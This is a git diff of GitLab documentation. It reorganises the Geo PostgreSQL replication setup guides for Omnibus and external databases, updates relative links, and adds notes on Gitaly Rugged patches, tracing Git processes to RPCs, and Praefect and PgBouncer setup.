+1. **Optional:** [Pause replication on each **secondary** node.](../index.md#pausing-and-resuming-replication)
1. Log into the **primary** node.
1. [Update GitLab on the **primary** node using Omnibus](https://docs.gitlab.com/omnibus/update/README.html).
1. Log into each **secondary** node.
1. [Update GitLab on each **secondary** node using Omnibus](https://docs.gitlab.com/omnibus/update/README.html).
-1. If you paused replication in step 1, [resume replication on each **secondary**](./index.md#pausing-and-resuming-replication)
+1. If you paused replication in step 1, [resume replication on each **secondary**](../index.md#pausing-and-resuming-replication)
1. [Test](#check-status-after-updating) **primary** and **secondary** nodes, and check version in each.
### Check status after updating
diff --git a/doc/administration/geo/replication/using_a_geo_server.md b/doc/administration/geo/replication/using_a_geo_server.md
index 3f2895f1c71..aeed5a44b30 100644
--- a/doc/administration/geo/replication/using_a_geo_server.md
+++ b/doc/administration/geo/replication/using_a_geo_server.md
@@ -9,7 +9,7 @@ type: howto
# Using a Geo Server **(PREMIUM ONLY)**
-After you set up the [database replication and configure the Geo nodes](index.md#setup-instructions), use your closest GitLab node as you would a normal standalone GitLab instance.
+After you set up the [database replication and configure the Geo nodes](../index.md#setup-instructions), use your closest GitLab node as you would a normal standalone GitLab instance.
Pushing directly to a **secondary** node (for both HTTP, SSH including Git LFS) was [introduced](https://about.gitlab.com/releases/2018/09/22/gitlab-11-3-released/) in [GitLab Premium](https://about.gitlab.com/pricing/#self-managed) 11.3.
diff --git a/doc/administration/geo/replication/version_specific_updates.md b/doc/administration/geo/replication/version_specific_updates.md
index 900d09bdd34..1ae246e3e61 100644
--- a/doc/administration/geo/replication/version_specific_updates.md
+++ b/doc/administration/geo/replication/version_specific_updates.md
@@ -314,7 +314,7 @@ sudo gitlab-ctl reconfigure
```
If you do not perform this step, you may find that two-factor authentication
-[is broken following DR](../disaster_recovery/index.md#i-followed-the-disaster-recovery-instructions-and-now-two-factor-auth-is-broken).
+[is broken following DR](troubleshooting.md#two-factor-authentication-is-broken-after-a-failover).
To prevent SSH requests to the newly promoted **primary** node from failing
due to SSH host key mismatch when updating the **primary** node domain's DNS record
@@ -343,7 +343,7 @@ Support for TLS-secured PostgreSQL replication has been added. If you are
currently using PostgreSQL replication across the open internet without an
external means of securing the connection (e.g., a site-to-site VPN), then you
should immediately reconfigure your **primary** and **secondary** PostgreSQL instances
-according to the [updated instructions](database.md).
+according to the [updated instructions](../setup/database.md).
If you *are* securing the connections externally and wish to continue doing so,
ensure you include the new option `--sslmode=prefer` in future invocations of
@@ -441,7 +441,7 @@ Omnibus is the following:
1. Check the steps about defining `postgresql['sql_user_password']`, `gitlab_rails['db_password']`.
1. Make sure `postgresql['max_replication_slots']` matches the number of **secondary** Geo nodes locations.
1. Install GitLab on the **secondary** server.
-1. Re-run the [database replication process](database.md#step-3-initiate-the-replication-process).
+1. Re-run the [database replication process](../setup/database.md#step-3-initiate-the-replication-process).
## Updating to GitLab 9.0
diff --git a/doc/administration/geo/setup/database.md b/doc/administration/geo/setup/database.md
new file mode 100644
index 00000000000..aefa8a0e399
--- /dev/null
+++ b/doc/administration/geo/setup/database.md
@@ -0,0 +1,473 @@
+---
+stage: Enablement
+group: Geo
+info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#designated-technical-writers
+type: howto
+---
+
+# Geo database replication **(PREMIUM ONLY)**
+
+NOTE: **Note:**
+If your GitLab installation uses external (not managed by Omnibus) PostgreSQL
+instances, the Omnibus roles will not be able to perform all necessary
+configuration steps. In this case,
+[follow the Geo with external PostgreSQL instances document instead](external_database.md).
+
+NOTE: **Note:**
+The stages of the setup process must be completed in the documented order.
+Before attempting the steps in this stage, [complete all prior stages](../setup/index.md#using-omnibus-gitlab).
+
+This document describes the minimal steps you have to take in order to
+replicate your **primary** GitLab database to a **secondary** node's database. You may
+have to change some values according to your database setup, how big it is, etc.
+
+You are encouraged to first read through all the steps before executing them
+in your testing/production environment.
+
+## PostgreSQL replication
+
+The GitLab **primary** node where the write operations happen will connect to
+the **primary** database server, and **secondary** nodes will
+connect to their own database servers (which are also read-only).
+
+We recommend using [PostgreSQL replication slots](https://medium.com/@tk512/replication-slots-in-postgresql-b4b03d277c75)
+to ensure that the **primary** node retains all the data necessary for the **secondary** nodes to
+recover. See below for more details.
+
+The following guide assumes that:
+
+- You are using Omnibus and therefore you are using PostgreSQL 11 or later
+ which includes the [`pg_basebackup` tool](https://www.postgresql.org/docs/11/app-pgbasebackup.html).
+- You have a **primary** node already set up (the GitLab server you are
+ replicating from), running Omnibus' PostgreSQL (or equivalent version), and
+ you have a new **secondary** server set up with the same versions of the OS,
+ PostgreSQL, and GitLab on all nodes.
+
+CAUTION: **Warning:**
+Geo works with streaming replication. Logical replication is not supported at this time.
+There is an [issue where support is being discussed](https://gitlab.com/gitlab-org/gitlab/-/issues/7420).
+
+### Step 1. Configure the **primary** server
+
+1. SSH into your GitLab **primary** server and login as root:
+
+ ```shell
+ sudo -i
+ ```
+
+1. Edit `/etc/gitlab/gitlab.rb` and add a **unique** name for your node:
+
+ ```ruby
+ # The unique identifier for the Geo node.
+ gitlab_rails['geo_node_name'] = '<node_name_here>'
+ ```
+
+1. Reconfigure the **primary** node for the change to take effect:
+
+ ```shell
+ gitlab-ctl reconfigure
+ ```
+
+1. Execute the command below to define the node as **primary** node:
+
+ ```shell
+ gitlab-ctl set-geo-primary-node
+ ```
+
+ This command will use your defined `external_url` in `/etc/gitlab/gitlab.rb`.
+
+1. GitLab 10.4 and up only: Do the following to make sure the `gitlab` database user has a password defined:
+
+ NOTE: **Note:**
+ Until FDW settings are removed in GitLab version 14.0, avoid using single or double quotes in the
+ password for PostgreSQL as that will lead to errors when reconfiguring.
+
+ Generate a MD5 hash of the desired password:
+
+ ```shell
+ gitlab-ctl pg-password-md5 gitlab
+ # Enter password: <your_password_here>
+ # Confirm password: <your_password_here>
+ # fca0b89a972d69f00eb3ec98a5838484
+ ```
+
+ Edit `/etc/gitlab/gitlab.rb`:
+
+ ```ruby
+ # Fill with the hash generated by `gitlab-ctl pg-password-md5 gitlab`
+ postgresql['sql_user_password'] = '<md5_hash_of_your_password>'
+
+ # Every node that runs Puma or Sidekiq needs to have the database
+ # password specified as below. If you have a high-availability setup, this
+ # must be present in all application nodes.
+ gitlab_rails['db_password'] = '<your_password_here>'
+ ```
+
+1. Omnibus GitLab already has a [replication user](https://wiki.postgresql.org/wiki/Streaming_Replication)
+ called `gitlab_replicator`. You must set the password for this user manually.
+ You will be prompted to enter a password:
+
+ ```shell
+ gitlab-ctl set-replication-password
+ ```
+
+ This command will also read the `postgresql['sql_replication_user']` Omnibus
+ setting in case you have changed `gitlab_replicator` username to something
+ else.
+
+ If you are using an external database not managed by Omnibus GitLab, you need
+ to create the replicator user and define a password to it manually:
+
+ ```sql
+ --- Create a new user 'replicator'
+ CREATE USER gitlab_replicator;
+
+ --- Set/change a password and grants replication privilege
+ ALTER USER gitlab_replicator WITH REPLICATION ENCRYPTED PASSWORD '<replication_password>';
+ ```
+
+1. Configure PostgreSQL to listen on network interfaces:
+
+ For security reasons, PostgreSQL does not listen on any network interfaces
+ by default. However, Geo requires the **secondary** node to be able to
+ connect to the **primary** node's database. For this reason, we need the address of
+ each node.
+
+ NOTE: **Note:**
+ For external PostgreSQL instances, see [additional instructions](external_database.md).
+
+ If you are using a cloud provider, you can lookup the addresses for each
+ Geo node through your cloud provider's management console.
+
+ To lookup the address of a Geo node, SSH in to the Geo node and execute:
+
+ ```shell
+ ##
+ ## Private address
+ ##
+ ip route get 255.255.255.255 | awk '{print "Private address:", $NF; exit}'
+
+ ##
+ ## Public address
+ ##
+ echo "External address: $(curl --silent ipinfo.io/ip)"
+ ```
+
+ In most cases, the following addresses will be used to configure GitLab
+ Geo:
+
+ | Configuration | Address |
+ |:----------------------------------------|:------------------------------------------------------|
+ | `postgresql['listen_address']` | **Primary** node's public or VPC private address. |
+ | `postgresql['md5_auth_cidr_addresses']` | **Secondary** node's public or VPC private addresses. |
+
+ If you are using Google Cloud Platform, SoftLayer, or any other vendor that
+ provides a virtual private cloud (VPC) you can use the **primary** and **secondary** nodes
+ private addresses (corresponds to "internal address" for Google Cloud Platform) for
+ `postgresql['md5_auth_cidr_addresses']` and `postgresql['listen_address']`.
+
+ The `listen_address` option opens PostgreSQL up to network connections with the interface
+ corresponding to the given address. See [the PostgreSQL documentation](https://www.postgresql.org/docs/11/runtime-config-connection.html)
+ for more details.
+
+ NOTE: **Note:**
+ If you need to use `0.0.0.0` or `*` as the listen_address, you will also need to add
+ `127.0.0.1/32` to the `postgresql['md5_auth_cidr_addresses']` setting, to allow Rails to connect through
+ `127.0.0.1`. For more information, see [omnibus-5258](https://gitlab.com/gitlab-org/omnibus-gitlab/-/issues/5258).
+
+ Depending on your network configuration, the suggested addresses may not
+ be correct. If your **primary** node and **secondary** nodes connect over a local
+ area network, or a virtual network connecting availability zones like
+ [Amazon's VPC](https://aws.amazon.com/vpc/) or [Google's VPC](https://cloud.google.com/vpc/)
+ you should use the **secondary** node's private address for `postgresql['md5_auth_cidr_addresses']`.
+
+ Edit `/etc/gitlab/gitlab.rb` and add the following, replacing the IP
+ addresses with addresses appropriate to your network configuration:
+
+ ```ruby
+ ##
+ ## Geo Primary role
+ ## - configure dependent flags automatically to enable Geo
+ ##
+ roles ['geo_primary_role']
+
+ ##
+ ## Primary address
+ ## - replace '<primary_node_ip>' with the public or VPC address of your Geo primary node
+ ##
+ postgresql['listen_address'] = '<primary_node_ip>'
+
+ ##
+ # Allow PostgreSQL client authentication from the primary and secondary IPs. These IPs may be
+ # public or VPC addresses in CIDR format, for example ['198.51.100.1/32', '198.51.100.2/32']
+ ##
+ postgresql['md5_auth_cidr_addresses'] = ['<primary_node_ip>/32', '<secondary_node_ip>/32']
+
+ ##
+ ## Replication settings
+ ## - set this to be the number of Geo secondary nodes you have
+ ##
+ postgresql['max_replication_slots'] = 1
+ # postgresql['max_wal_senders'] = 10
+ # postgresql['wal_keep_segments'] = 10
+
+ ##
+ ## Disable automatic database migrations temporarily
+ ## (until PostgreSQL is restarted and listening on the private address).
+ ##
+ gitlab_rails['auto_migrate'] = false
+ ```
+
+1. Optional: If you want to add another **secondary** node, the relevant setting would look like:
+
+ ```ruby
+ postgresql['md5_auth_cidr_addresses'] = ['<primary_node_ip>/32', '<secondary_node_ip>/32', '<another_secondary_node_ip>/32']
+ ```
+
+ You may also want to edit the `wal_keep_segments` and `max_wal_senders` to match your
+ database replication requirements. Consult the [PostgreSQL - Replication documentation](https://www.postgresql.org/docs/11/runtime-config-replication.html)
+ for more information.
+
+1. Save the file and reconfigure GitLab for the database listen changes and
+ the replication slot changes to be applied:
+
+ ```shell
+ gitlab-ctl reconfigure
+ ```
+
+ Restart PostgreSQL for its changes to take effect:
+
+ ```shell
+ gitlab-ctl restart postgresql
+ ```
+
+1. Re-enable migrations now that PostgreSQL is restarted and listening on the
+ private address.
+
+ Edit `/etc/gitlab/gitlab.rb` and **change** the configuration to `true`:
+
+ ```ruby
+ gitlab_rails['auto_migrate'] = true
+ ```
+
+ Save the file and reconfigure GitLab:
+
+ ```shell
+ gitlab-ctl reconfigure
+ ```
+
+1. Now that the PostgreSQL server is set up to accept remote connections, run
+ `netstat -plnt | grep 5432` to make sure that PostgreSQL is listening on port
+ `5432` to the **primary** server's private address.
+
+1. A certificate was automatically generated when GitLab was reconfigured. This
+ will be used automatically to protect your PostgreSQL traffic from
+ eavesdroppers, but to protect against active ("man-in-the-middle") attackers,
+ the **secondary** node needs a copy of the certificate. Make a copy of the PostgreSQL
+ `server.crt` file on the **primary** node by running this command:
+
+ ```shell
+ cat ~gitlab-psql/data/server.crt
+ ```
+
+ Copy the output into a clipboard or into a local file. You
+ will need it when setting up the **secondary** node! The certificate is not sensitive
+ data.
+
+### Step 2. Configure the **secondary** server
+
+1. SSH into your GitLab **secondary** server and login as root:
+
+ ```shell
+ sudo -i
+ ```
+
+1. Stop application server and Sidekiq
+
+ ```shell
+ gitlab-ctl stop puma
+ gitlab-ctl stop sidekiq
+ ```
+
+ NOTE: **Note:**
+ This step is important so we don't try to execute anything before the node is fully configured.
+
+1. [Check TCP connectivity](../../raketasks/maintenance.md) to the **primary** node's PostgreSQL server:
+
+ ```shell
+ gitlab-rake gitlab:tcp_check[<primary_node_ip>,5432]
+ ```
+
+ NOTE: **Note:**
+ If this step fails, you may be using the wrong IP address, or a firewall may
+ be preventing access to the server. Check the IP address, paying close
+ attention to the difference between public and private addresses and ensure
+ that, if a firewall is present, the **secondary** node is permitted to connect to the
+ **primary** node on port 5432.
+
+1. Create a file `server.crt` in the **secondary** server, with the content you got on the last step of the **primary** node's setup:
+
+ ```shell
+ editor server.crt
+ ```
+
+1. Set up PostgreSQL TLS verification on the **secondary** node:
+
+ Install the `server.crt` file:
+
+ ```shell
+ install \
+ -D \
+ -o gitlab-psql \
+ -g gitlab-psql \
+ -m 0400 \
+ -T server.crt ~gitlab-psql/.postgresql/root.crt
+ ```
+
+ PostgreSQL will now only recognize that exact certificate when verifying TLS
+ connections. The certificate can only be replicated by someone with access
+ to the private key, which is **only** present on the **primary** node.
+
+1. Test that the `gitlab-psql` user can connect to the **primary** node's database
+ (the default Omnibus database name is `gitlabhq_production`):
+
+ ```shell
+ sudo \
+ -u gitlab-psql /opt/gitlab/embedded/bin/psql \
+ --list \
+ -U gitlab_replicator \
+ -d "dbname=gitlabhq_production sslmode=verify-ca" \
+ -W \
+ -h <primary_node_ip>
+ ```
+
+ When prompted enter the password you set in the first step for the
+ `gitlab_replicator` user. If all worked correctly, you should see
+ the list of **primary** node's databases.
+
+ A failure to connect here indicates that the TLS configuration is incorrect.
+ Ensure that the contents of `~gitlab-psql/data/server.crt` on the **primary** node
+ match the contents of `~gitlab-psql/.postgresql/root.crt` on the **secondary** node.
+
+1. Configure PostgreSQL:
+
+ This step is similar to how we configured the **primary** instance.
+ We need to enable this, even if using a single node.
+
+ Edit `/etc/gitlab/gitlab.rb` and add the following, replacing the IP
+ addresses with addresses appropriate to your network configuration:
+
+ ```ruby
+ ##
+ ## Geo Secondary role
+ ## - configure dependent flags automatically to enable Geo
+ ##
+ roles ['geo_secondary_role']
+
+ ##
+ ## Secondary address
+ ## - replace '<secondary_node_ip>' with the public or VPC address of your Geo secondary node
+ ##
+ postgresql['listen_address'] = '<secondary_node_ip>'
+ postgresql['md5_auth_cidr_addresses'] = ['<secondary_node_ip>/32']
+
+ ##
+ ## Database credentials password (defined previously in primary node)
+ ## - replicate same values here as defined in primary node
+ ##
+ postgresql['sql_user_password'] = '<md5_hash_of_your_password>'
+ gitlab_rails['db_password'] = '<your_password_here>'
+ ```
+
+ For external PostgreSQL instances, see [additional instructions](external_database.md).
+ If you bring a former **primary** node back online to serve as a **secondary** node, then you also need to remove `roles ['geo_primary_role']` or `geo_primary_role['enable'] = true`.
+
+1. Reconfigure GitLab for the changes to take effect:
+
+ ```shell
+ gitlab-ctl reconfigure
+ ```
+
+1. Restart PostgreSQL for the IP change to take effect:
+
+ ```shell
+ gitlab-ctl restart postgresql
+ ```
+
+### Step 3. Initiate the replication process
+
+Below we provide a script that connects the database on the **secondary** node to
+the database on the **primary** node, replicates the database, and creates the
+needed files for streaming replication.
+
+The directories used are the defaults that are set up in Omnibus. If you have
+changed any defaults, configure it as you see fit replacing the directories and paths.
+
+CAUTION: **Warning:**
+Make sure to run this on the **secondary** server as it removes all PostgreSQL's
+data before running `pg_basebackup`.
+
+1. SSH into your GitLab **secondary** server and login as root:
+
+ ```shell
+ sudo -i
+ ```
+
+1. Choose a database-friendly name to use for your **secondary** node to
+ use as the replication slot name. For example, if your domain is
+ `secondary.geo.example.com`, you may use `secondary_example` as the slot
+ name as shown in the commands below.
+
+1. Execute the command below to start a backup/restore and begin the replication
+
+ CAUTION: **Warning:**
+ Each Geo **secondary** node must have its own unique replication slot name.
+ Using the same slot name between two secondaries will break PostgreSQL replication.
+
+ ```shell
+ gitlab-ctl replicate-geo-database \
+ --slot-name=<secondary_node_name> \
+ --host=<primary_node_ip>
+ ```
+
+ NOTE: **Note:**
+ Replication slot names must only contain lowercase letters, numbers, and the underscore character.
+
+ When prompted, enter the _plaintext_ password you set up for the `gitlab_replicator`
+ user in the first step.
+
+ This command also takes a number of additional options. You can use `--help`
+ to list them all, but here are a couple of tips:
+
+ - If PostgreSQL is listening on a non-standard port, add `--port=` as well.
+ - If your database is too large to be transferred in 30 minutes, you will need
+ to increase the timeout, e.g., `--backup-timeout=3600` if you expect the
+ initial replication to take under an hour.
+ - Pass `--sslmode=disable` to skip PostgreSQL TLS authentication altogether
+ (e.g., you know the network path is secure, or you are using a site-to-site
+ VPN). This is **not** safe over the public Internet!
+ - You can read more details about each `sslmode` in the
+ [PostgreSQL documentation](https://www.postgresql.org/docs/11/libpq-ssl.html#LIBPQ-SSL-PROTECTION);
+ the instructions above are carefully written to ensure protection against
+ both passive eavesdroppers and active "man-in-the-middle" attackers.
+ - Change the `--slot-name` to the name of the replication slot
+ to be used on the **primary** database. The script will attempt to create the
+ replication slot automatically if it does not exist.
+ - If you're repurposing an old server into a Geo **secondary** node, you'll need to
+ add `--force` to the command line.
+ - When not in a production machine you can disable backup step if you
+ really sure this is what you want by adding `--skip-backup`
+
+The replication process is now complete.
+
+## PgBouncer support (optional)
+
+[PgBouncer](https://www.pgbouncer.org/) may be used with GitLab Geo to pool
+PostgreSQL connections. We recommend using PgBouncer if you use GitLab in a
+high-availability configuration with a cluster of nodes supporting a Geo
+**primary** node and another cluster of nodes supporting a Geo **secondary** node. For more
+information, see [High Availability with Omnibus GitLab](../../postgresql/replication_and_failover.md).
+
+## Troubleshooting
+
+Read the [troubleshooting document](../replication/troubleshooting.md).
diff --git a/doc/administration/geo/setup/external_database.md b/doc/administration/geo/setup/external_database.md
new file mode 100644
index 00000000000..33a7bc38b6e
--- /dev/null
+++ b/doc/administration/geo/setup/external_database.md
@@ -0,0 +1,234 @@
+---
+stage: Enablement
+group: Geo
+info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#designated-technical-writers
+type: howto
+---
+
+# Geo with external PostgreSQL instances **(PREMIUM ONLY)**
+
+This document is relevant if you are using a PostgreSQL instance that is *not
+managed by Omnibus*. This includes cloud-managed instances like AWS RDS, or
+manually installed and configured PostgreSQL instances.
+
+NOTE: **Note:**
+We strongly recommend running Omnibus-managed instances as they are actively
+developed and tested. We aim to be compatible with most external
+(not managed by Omnibus) databases but we do not guarantee compatibility.
+
+## **Primary** node
+
+1. SSH into a GitLab **primary** application server and login as root:
+
+ ```shell
+ sudo -i
+ ```
+
+1. Edit `/etc/gitlab/gitlab.rb` and add a **unique** ID for your node (arbitrary value):
+
+ ```ruby
+ # The unique identifier for the Geo node.
+ gitlab_rails['geo_node_name'] = '<node_name_here>'
+ ```
+
+1. Reconfigure the **primary** node for the change to take effect:
+
+ ```shell
+ gitlab-ctl reconfigure
+ ```
+
+1. Execute the command below to define the node as **primary** node:
+
+ ```shell
+ gitlab-ctl set-geo-primary-node
+ ```
+
+ This command will use your defined `external_url` in `/etc/gitlab/gitlab.rb`.
+
+### Configure the external database to be replicated
+
+To set up an external database, you can either:
+
+- Set up streaming replication yourself (for example, in AWS RDS).
+- Perform the Omnibus configuration manually as follows.
+
+#### Leverage your cloud provider's tools to replicate the primary database
+
+Given you have a primary node set up on AWS EC2 that uses RDS.
+You can now just create a read-only replica in a different region and the
+replication process will be managed by AWS. Make sure you've set Network ACL, Subnet, and
+Security Group according to your needs, so the secondary application node can access the database.
+
+The following instructions detail how to create a read-only replica for common
+cloud providers:
+
+- Amazon RDS - [Creating a Read Replica](https://docs.aws.amazon.com/AmazonRDS/latest/UserGuide/USER_ReadRepl.html#USER_ReadRepl.Create)
+- Azure Database for PostgreSQL - [Create and manage read replicas in Azure Database for PostgreSQL](https://docs.microsoft.com/en-us/azure/postgresql/howto-read-replicas-portal)
+
+Once your read-only replica is set up, you can skip to [configure you secondary application node](#configure-secondary-application-nodes-to-use-the-external-read-replica).
+
+#### Manually configure the primary database for replication
+
+The [`geo_primary_role`](https://docs.gitlab.com/omnibus/roles/#gitlab-geo-roles)
+configures the **primary** node's database to be replicated by making changes to
+`pg_hba.conf` and `postgresql.conf`. Make the following configuration changes
+manually to your external database configuration and ensure that you restart PostgreSQL
+afterwards for the changes to take effect:
+
+```plaintext
+##
+## Geo Primary Role
+## - pg_hba.conf
+##
+host all all <trusted primary IP>/32 md5
+host replication gitlab_replicator <trusted primary IP>/32 md5
+host all all <trusted secondary IP>/32 md5
+host replication gitlab_replicator <trusted secondary IP>/32 md5
+```
+
+```plaintext
+##
+## Geo Primary Role
+## - postgresql.conf
+##
+wal_level = hot_standby
+max_wal_senders = 10
+wal_keep_segments = 50
+max_replication_slots = 1 # number of secondary instances
+hot_standby = on
+```
+
+## **Secondary** nodes
+
+### Manually configure the replica database
+
+Make the following configuration changes manually to your `pg_hba.conf` and `postgresql.conf`
+of your external replica database and ensure that you restart PostgreSQL afterwards
+for the changes to take effect:
+
+```plaintext
+##
+## Geo Secondary Role
+## - pg_hba.conf
+##
+host all all <trusted secondary IP>/32 md5
+host replication gitlab_replicator <trusted secondary IP>/32 md5
+host all all <trusted primary IP>/24 md5
+```
+
+```plaintext
+##
+## Geo Secondary Role
+## - postgresql.conf
+##
+wal_level = hot_standby
+max_wal_senders = 10
+wal_keep_segments = 10
+hot_standby = on
+```
+
+### Configure **secondary** application nodes to use the external read-replica
+
+With Omnibus, the
+[`geo_secondary_role`](https://docs.gitlab.com/omnibus/roles/#gitlab-geo-roles)
+has three main functions:
+
+1. Configure the replica database.
+1. Configure the tracking database.
+1. Enable the [Geo Log Cursor](../index.md#geo-log-cursor) (not covered in this section).
+
+To configure the connection to the external read-replica database and enable Log Cursor:
+
+1. SSH into a GitLab **secondary** application server and login as root:
+
+ ```shell
+ sudo -i
+ ```
+
+1. Edit `/etc/gitlab/gitlab.rb` and add the following
+
+ ```ruby
+ ##
+ ## Geo Secondary role
+ ## - configure dependent flags automatically to enable Geo
+ ##
+ roles ['geo_secondary_role']
+
+ # note this is shared between both databases,
+ # make sure you define the same password in both
+ gitlab_rails['db_password'] = '<your_password_here>'
+
+ gitlab_rails['db_username'] = 'gitlab'
+ gitlab_rails['db_host'] = '<database_read_replica_host>'
+
+ # Disable the bundled Omnibus PostgreSQL, since we are
+ # using an external PostgreSQL
+ postgresql['enable'] = false
+ ```
+
+1. Save the file and [reconfigure GitLab](../../restart_gitlab.md#omnibus-gitlab-reconfigure)
+
+### Configure the tracking database
+
+**Secondary** nodes use a separate PostgreSQL installation as a tracking
+database to keep track of replication status and automatically recover from
+potential replication issues. Omnibus automatically configures a tracking database
+when `roles ['geo_secondary_role']` is set.
+If you want to run this database external to Omnibus, please follow the instructions below.
+
+If you are using a cloud-managed service for the tracking database, you may need
+to grant additional roles to your tracking database user (by default, this is
+`gitlab_geo`):
+
+- Amazon RDS requires the [`rds_superuser`](https://docs.aws.amazon.com/AmazonRDS/latest/UserGuide/Appendix.PostgreSQL.CommonDBATasks.html#Appendix.PostgreSQL.CommonDBATasks.Roles) role.
+- Azure Database for PostgreSQL requires the [`azure_pg_admin`](https://docs.microsoft.com/en-us/azure/postgresql/howto-create-users#how-to-create-additional-admin-users-in-azure-database-for-postgresql) role.
+
+If you have an external database ready to be used as the tracking database,
+follow the instructions below to use it:
+
+NOTE: **Note:**
+If you want to use AWS RDS as a tracking database, make sure it has access to
+the secondary database. Unfortunately, just assigning the same security group is not enough as
+outbound rules do not apply to RDS PostgreSQL databases. Therefore, you need to explicitly add an inbound
+rule to the read-replica's security group allowing any TCP traffic from
+the tracking database on port 5432.
+
+1. Ensure that your secondary node can communicate with your tracking database by
+ manually changing the `pg_hba.conf` that is associated with your tracking database.
+ Remember to restart PostgreSQL afterwards for the changes to take effect:
+
+ ```plaintext
+ ##
+ ## Geo Tracking Database Role
+ ## - pg_hba.conf
+ ##
+ host all all <trusted tracking IP>/32 md5
+ host all all <trusted secondary IP>/32 md5
+ ```
+
+1. SSH into a GitLab **secondary** server and login as root:
+
+ ```shell
+ sudo -i
+ ```
+
+1. Edit `/etc/gitlab/gitlab.rb` with the connection parameters and credentials for
+ the machine with the PostgreSQL instance:
+
+ ```ruby
+ geo_secondary['db_username'] = 'gitlab_geo'
+ geo_secondary['db_password'] = '<your_password_here>'
+
+ geo_secondary['db_host'] = '<tracking_database_host>'
+ geo_secondary['db_port'] = <tracking_database_port> # change to the correct port
+ geo_postgresql['enable'] = false # don't use internal managed instance
+ ```
+
+1. Save the file and [reconfigure GitLab](../../restart_gitlab.md#omnibus-gitlab-reconfigure)
+
+1. Run the tracking database migrations:
+
+ ```shell
+ gitlab-rake geo:db:create
+ gitlab-rake geo:db:migrate
+ ```
diff --git a/doc/administration/geo/setup/index.md b/doc/administration/geo/setup/index.md
new file mode 100644
index 00000000000..a4d9fcba14d
--- /dev/null
+++ b/doc/administration/geo/setup/index.md
@@ -0,0 +1,32 @@
+---
+stage: Enablement
+group: Geo
+info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#designated-technical-writers
+type: howto
+---
+
+# Setting up Geo
+
+These instructions assume you have a working instance of GitLab. They guide you through:
+
+1. Making your existing instance the **primary** node.
+1. Adding **secondary** nodes.
+
+CAUTION: **Caution:**
+The steps below should be followed in the order they appear. **Make sure the GitLab version is the same on all nodes.**
+
+## Using Omnibus GitLab
+
+If you installed GitLab using the Omnibus packages (highly recommended):
+
+1. [Install GitLab Enterprise Edition](https://about.gitlab.com/install/) on the server that will serve as the **secondary** node. Do not create an account or log in to the new **secondary** node.
+1. [Upload the GitLab License](../../../user/admin_area/license.md) on the **primary** node to unlock Geo. The license must be for [GitLab Premium](https://about.gitlab.com/pricing/) or higher.
+1. [Set up the database replication](database.md) (`primary (read-write) <-> secondary (read-only)` topology).
+1. [Configure fast lookup of authorized SSH keys in the database](../../operations/fast_ssh_key_lookup.md). This step is required and needs to be done on **both** the **primary** and **secondary** nodes.
+1. [Configure GitLab](../replication/configuration.md) to set the **primary** and **secondary** nodes.
+1. Optional: [Configure a secondary LDAP server](../../auth/ldap/index.md) for the **secondary** node. See [notes on LDAP](../index.md#ldap).
+1. [Follow the "Using a Geo Server" guide](../replication/using_a_geo_server.md).
+
+## Post-installation documentation
+
+After installing GitLab on the **secondary** nodes and performing the initial configuration, see the [following documentation for post-installation information](../index.md#post-installation-documentation).
diff --git a/doc/administration/gitaly/index.md b/doc/administration/gitaly/index.md
index 9558488c89e..e6b137bac29 100644
--- a/doc/administration/gitaly/index.md
+++ b/doc/administration/gitaly/index.md
@@ -988,9 +988,12 @@ When GitLab calls a function that has a "Rugged patch", it performs two checks:
- Is the feature flag for this patch set in the database? If so, the feature flag setting controls
GitLab's use of "Rugged patch" code.
- If the feature flag is not set, GitLab tries accessing the filesystem underneath the
- Gitaly server directly. If it can, it will use the "Rugged patch".
+ Gitaly server directly. If it can, it will use the "Rugged patch":
+ - If using Unicorn.
+ - If using Puma and [thread count](../../install/requirements.md#puma-threads) is set
+ to `1`.
-The result of both of these checks is cached.
+The result of these checks is cached.
To see if GitLab can access the repository filesystem directly, we use the following heuristic:
@@ -1072,6 +1075,24 @@ You can run a gRPC trace with:
sudo GRPC_TRACE=all GRPC_VERBOSITY=DEBUG gitlab-rake gitlab:gitaly:check
```
+### Correlating Git processes with RPCs
+
+Sometimes you need to find out which Gitaly RPC created a particular Git process.
+
+One method for doing this is via `DEBUG` logging. However, this needs to be enabled
+ahead of time and the logs produced are quite verbose.
+
+A lightweight method for doing this correlation is by inspecting the environment
+of the Git process (using its `PID`) and looking at the `CORRELATION_ID` variable:
+
+```shell
+PID=<Git process ID>
+sudo cat /proc/$PID/environ | tr '\0' '\n' | grep ^CORRELATION_ID=
+```
+
+Please note that this method is not reliable for `git cat-file` processes because Gitaly
+internally pools and re-uses those across RPCs.
+
### Observing `gitaly-ruby` traffic
[`gitaly-ruby`](#gitaly-ruby) is an internal implementation detail of Gitaly,
diff --git a/doc/administration/gitaly/praefect.md b/doc/administration/gitaly/praefect.md
index 2e9e036c24e..876904a2093 100644
--- a/doc/administration/gitaly/praefect.md
+++ b/doc/administration/gitaly/praefect.md
@@ -129,7 +129,7 @@ the Omnibus GitLab distribution is not yet supported. Follow this
Prepare all your new nodes by [installing
GitLab](https://about.gitlab.com/install/).
-- 1 Praefect node (minimal storage required)
+- At least 1 Praefect node (minimal storage required)
- 3 Gitaly nodes (high CPU, high memory, fast storage)
- 1 GitLab server
@@ -171,7 +171,7 @@ We will note in the instructions below where these secrets are required.
NOTE: **Note:**
Do not store the GitLab application database and the Praefect
database on the same PostgreSQL server if using
-[Geo](../geo/replication/index.md). The replication state is internal to each instance
+[Geo](../geo/index.md). The replication state is internal to each instance
of GitLab and should not be replicated.
These instructions help set up a single PostgreSQL database, which creates a single point of
@@ -232,18 +232,19 @@ The database used by Praefect is now configured.
#### PgBouncer
-To reduce PostgreSQL resource consumption, you should set up and configure
+To reduce PostgreSQL resource consumption, we recommend setting up and configuring
[PgBouncer](https://www.pgbouncer.org/) in front of the PostgreSQL instance. To do
this, replace value of the `POSTGRESQL_SERVER_ADDRESS` with corresponding IP or host
address of the PgBouncer instance.
This documentation doesn't provide PgBouncer installation instructions,
-you can:
+but you can:
- Find instructions on the [official website](https://www.pgbouncer.org/install.html).
- Use a [Docker image](https://hub.docker.com/r/edoburu/pgbouncer/).
-In addition to base PgBouncer configuration options, set the following values:
+In addition to the base PgBouncer configuration options, set the following values in
+your `pgbouncer.ini` file:
- The [Praefect PostgreSQL database](#postgresql) in the `[databases]` section:
